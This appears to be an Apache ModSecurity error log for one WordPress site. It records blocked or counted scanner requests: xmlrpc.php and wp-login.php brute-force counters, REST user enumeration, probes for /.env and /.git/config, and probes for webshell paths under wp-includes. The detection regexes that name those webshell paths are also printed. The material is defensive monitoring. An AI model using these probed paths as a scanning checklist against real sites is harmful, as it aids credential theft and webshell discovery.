[Tue Apr 21 22:31:53.342660 2026] [:error] [pid 53731:tid 53757] [client 136.109.141.34:55485] [client 136.109.141.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 136.109.141.34, counter = 7"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeeKWV2I9THUR-bRVGyLtAAAAhU"]
[Tue Apr 21 23:37:39.016061 2026] [:error] [pid 35320:tid 35350] [client 177.10.226.96:15710] [client 177.10.226.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.10.226.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeeZw4JW6fdXWO6agMEncwAAABQ"]
[Tue Apr 21 23:38:45.162189 2026] [:error] [pid 54080:tid 54082] [client 177.10.226.96:15875] [client 177.10.226.96] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aeeaBYzEbQHHxtmWbabiHAAAAsA"]
[Tue Apr 21 23:39:14.705028 2026] [:error] [pid 35321:tid 35396] [client 177.10.226.96:17088] [client 177.10.226.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.10.226.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeeaIjeHLhVUuu8cVXwW0AAAAEw"]
[Tue Apr 21 23:39:46.257510 2026] [:error] [pid 35321:tid 35402] [client 177.10.226.96:16249] [client 177.10.226.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.10.226.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeeaQjeHLhVUuu8cVXwXZgAAAFI"]
[Tue Apr 21 23:58:00.843338 2026] [:error] [pid 35320:tid 35342] [client 35.202.76.147:61836] [client 35.202.76.147] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aeeeiIJW6fdXWO6agME39QAAAAw"]
[Tue Apr 21 23:58:02.195042 2026] [:error] [pid 35320:tid 35334] [client 35.202.76.147:61836] [client 35.202.76.147] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.76.147, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeeeioJW6fdXWO6agME3_gAAAAQ"]
[Tue Apr 21 23:58:03.523951 2026] [:error] [pid 35320:tid 35345] [client 35.202.76.147:56859] [client 35.202.76.147] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.76.147, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeeei4JW6fdXWO6agME4AwAAAA8"]
[Tue Apr 21 23:58:04.836571 2026] [:error] [pid 35320:tid 35353] [client 35.202.76.147:59136] [client 35.202.76.147] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.76.147, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeeejIJW6fdXWO6agME4CAAAABc"]
[Tue Apr 21 23:58:06.114441 2026] [:error] [pid 35321:tid 35387] [client 35.202.76.147:58721] [client 35.202.76.147] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.76.147, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeeejjeHLhVUuu8cVXwjyQAAAEM"]
[Tue Apr 21 23:58:06.114662 2026] [:error] [pid 35321:tid 35387] [client 35.202.76.147:58721] [client 35.202.76.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.202.76.147, counter = 8"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeeejjeHLhVUuu8cVXwjyQAAAEM"]
[Wed Apr 22 00:07:17.700379 2026] [:error] [pid 35320:tid 35330] [client 94.159.110.150:57300] [client 94.159.110.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.159.110.150, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeegtYJW6fdXWO6agMFBBwAAAAA"]
[Wed Apr 22 00:07:28.041348 2026] [:error] [pid 53978:tid 53998] [client 94.159.110.150:61662] [client 94.159.110.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.159.110.150, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeegwJ1ivsR4hcOSQbZdJgAAApI"]
[Wed Apr 22 00:07:38.152363 2026] [:error] [pid 53978:tid 54004] [client 94.159.110.150:59855] [client 94.159.110.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.159.110.150, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeegyp1ivsR4hcOSQbZdOAAAApg"]
[Wed Apr 22 00:07:49.094853 2026] [:error] [pid 35321:tid 35402] [client 94.159.110.150:56156] [client 94.159.110.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.159.110.150, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeeg1TeHLhVUuu8cVXwpNAAAAFI"]
[Wed Apr 22 00:07:59.471762 2026] [:error] [pid 53978:tid 53980] [client 94.159.110.150:62011] [client 94.159.110.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.159.110.150, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeeg351ivsR4hcOSQbZdfAAAAoA"]
[Wed Apr 22 00:29:26.407931 2026] [:error] [pid 35320:tid 35354] [client 62.60.131.175:43842] [client 62.60.131.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.131.175, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeel5oJW6fdXWO6agMFRRAAAABg"]
[Wed Apr 22 01:00:16.099664 2026] [:error] [pid 53832:tid 53859] [client 36.41.75.167:59886] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeetINzkuxsE_OhM9UKVdgAAAlg"]
[Wed Apr 22 01:38:10.153346 2026] [:error] [pid 53731:tid 53735] [client 82.223.70.218:56006] [client 82.223.70.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.70.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aee2Al2I9THUR-bRVGzWfwAAAgA"]
[Wed Apr 22 02:22:27.602449 2026] [:error] [pid 53832:tid 53840] [client 64.227.21.64:49668] [client 64.227.21.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.227.21.64, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aefAY9zkuxsE_OhM9UKjmgAAAkU"]
[Wed Apr 22 02:27:23.080643 2026] [:error] [pid 53832:tid 53843] [client 64.227.21.64:49556] [client 64.227.21.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.227.21.64, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aefBi9zkuxsE_OhM9UKkRwAAAkg"]
[Wed Apr 22 02:31:20.807921 2026] [:error] [pid 35415:tid 35449] [client 64.227.21.64:50714] [client 64.227.21.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.227.21.64, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aefCeEiqDinI4_22zziSigAAANY"]
[Wed Apr 22 02:36:08.869002 2026] [:error] [pid 35321:tid 35387] [client 64.227.21.64:61144] [client 64.227.21.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.227.21.64, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aefDmDeHLhVUuu8cVXxrggAAAEM"]
[Wed Apr 22 02:41:56.570102 2026] [:error] [pid 53978:tid 53992] [client 64.227.21.64:65376] [client 64.227.21.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.227.21.64, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aefE9J1ivsR4hcOSQbaDbQAAAow"]
[Wed Apr 22 03:50:29.707756 2026] [:error] [pid 23041:tid 23053] [client 160.30.179.124:33358] [client 160.30.179.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "aefVBUTXx_lUa7xwAb5rHwAAAQk"]
[Wed Apr 22 04:14:09.622522 2026] [:error] [pid 21788:tid 21791] [client 49.51.243.95:53004] [client 49.51.243.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aefakX7OM27rzVpef24-MQAAAME"]
[Wed Apr 22 04:51:27.872669 2026] [:error] [pid 21682:tid 21744] [client 129.226.93.214:45164] [client 129.226.93.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aefjT5lXWQZUlmPHS3rgHQAAAFU"]
[Wed Apr 22 05:41:37.702863 2026] [:error] [pid 23041:tid 23067] [client 2.58.56.211:51617] [client 2.58.56.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/txets.php"] [unique_id "aefvEUTXx_lUa7xwAb66zwAAARc"]
[Wed Apr 22 05:41:38.202520 2026] [:error] [pid 23041:tid 23058] [client 2.58.56.211:51888] [client 2.58.56.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "aefvEkTXx_lUa7xwAb661QAAAQ4"]
[Wed Apr 22 05:41:38.704360 2026] [:error] [pid 23041:tid 23060] [client 2.58.56.211:52214] [client 2.58.56.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "aefvEkTXx_lUa7xwAb662gAAARA"]
[Wed Apr 22 05:41:41.103090 2026] [:error] [pid 23041:tid 23054] [client 2.58.56.211:53791] [client 2.58.56.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "aefvFUTXx_lUa7xwAb667AAAAQo"]
[Wed Apr 22 05:53:32.380494 2026] [:error] [pid 21682:tid 21731] [client 159.112.133.109:37192] [client 159.112.133.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "aefx3JlXWQZUlmPHS3r0jAAAAEg"]
[Wed Apr 22 05:53:36.383073 2026] [:error] [pid 21683:tid 21758] [client 159.112.133.109:36158] [client 159.112.133.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "aefx4FZBWT-0diZyYyaGrQAAAIg"]
[Wed Apr 22 06:24:27.098676 2026] [:error] [pid 18698:tid 18718] [client 170.64.162.10:50854] [client 170.64.162.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aef5G8HDGrKprtci7-HwxAAAAVI"]
[Wed Apr 22 06:24:29.293748 2026] [:error] [pid 21788:tid 21807] [client 170.64.162.10:49484] [client 170.64.162.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aef5HX7OM27rzVpef26ozAAAANE"]
[Wed Apr 22 06:27:49.629247 2026] [:error] [pid 21682:tid 21744] [client 158.173.67.76:61115] [client 158.173.67.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.173.67.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aef55ZlXWQZUlmPHS3r7sAAAAFU"]
[Wed Apr 22 06:46:54.745526 2026] [:error] [pid 31755:tid 31784] [client 1.15.52.154:45400] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aef-Xgz2mYMkg3X8q1tfhAAAAhU"]
[Wed Apr 22 06:55:48.474325 2026] [:error] [pid 21682:tid 21733] [client 45.137.126.6:32965] [client 45.137.126.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aegAdJlXWQZUlmPHS3oDUAAAAEo"]
[Wed Apr 22 06:55:55.186822 2026] [:error] [pid 32053:tid 32078] [client 45.137.126.17:49013] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aegAewzPjXx_ocfbYhs2ugAAA1c"]
[Wed Apr 22 06:56:07.061402 2026] [:error] [pid 31844:tid 31866] [client 45.137.126.2:51565] [client 45.137.126.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "aegAh2tAU9CprTB4b3IwMQAAApQ"]
[Wed Apr 22 06:56:13.775174 2026] [:error] [pid 23041:tid 23066] [client 45.137.126.37:39983] [client 45.137.126.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/index.php"] [unique_id "aegAjUTXx_lUa7xwAb7dHQAAARY"]
[Wed Apr 22 06:56:25.965907 2026] [:error] [pid 31756:tid 31800] [client 45.137.126.30:50289] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aegAmd_WbkXbHaEfhd3YwQAAAkg"]
[Wed Apr 22 06:56:29.258346 2026] [:error] [pid 21683:tid 21761] [client 45.137.126.14:52817] [client 45.137.126.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aegAnVZBWT-0diZyYyaWaQAAAIs"]
[Wed Apr 22 06:56:30.241876 2026] [:error] [pid 23041:tid 23048] [client 45.137.126.36:31405] [client 45.137.126.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aegAnkTXx_lUa7xwAb7dTQAAAQQ"]
[Wed Apr 22 06:56:31.232661 2026] [:error] [pid 21682:tid 21725] [client 45.137.126.26:52003] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aegAn5lXWQZUlmPHS3oDgAAAAEI"]
[Wed Apr 22 06:56:32.215225 2026] [:error] [pid 23041:tid 23064] [client 45.137.126.12:46121] [client 45.137.126.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aegAoETXx_lUa7xwAb7dWwAAARQ"]
[Wed Apr 22 06:56:33.198424 2026] [:error] [pid 32053:tid 32058] [client 45.137.126.13:32607] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aegAoQzPjXx_ocfbYhs22AAAA0M"]
[Wed Apr 22 06:56:35.534611 2026] [:error] [pid 32095:tid 32121] [client 45.137.126.27:40309] [client 45.137.126.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aegAo9fu5Cv628YPe5914QAAA5c"]
[Wed Apr 22 06:56:39.304940 2026] [:error] [pid 23041:tid 23050] [client 45.137.126.5:31993] [client 45.137.126.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/filemanager.php"] [unique_id "aegAp0TXx_lUa7xwAb7djAAAAQY"]
[Wed Apr 22 06:56:44.377589 2026] [:error] [pid 23041:tid 23054] [client 45.137.126.49:40801] [client 45.137.126.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aegArETXx_lUa7xwAb7dngAAAQo"]
[Wed Apr 22 06:56:46.660612 2026] [:error] [pid 31755:tid 31785] [client 45.137.126.37:46431] [client 45.137.126.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aegArgz2mYMkg3X8q1tiMQAAAhY"]
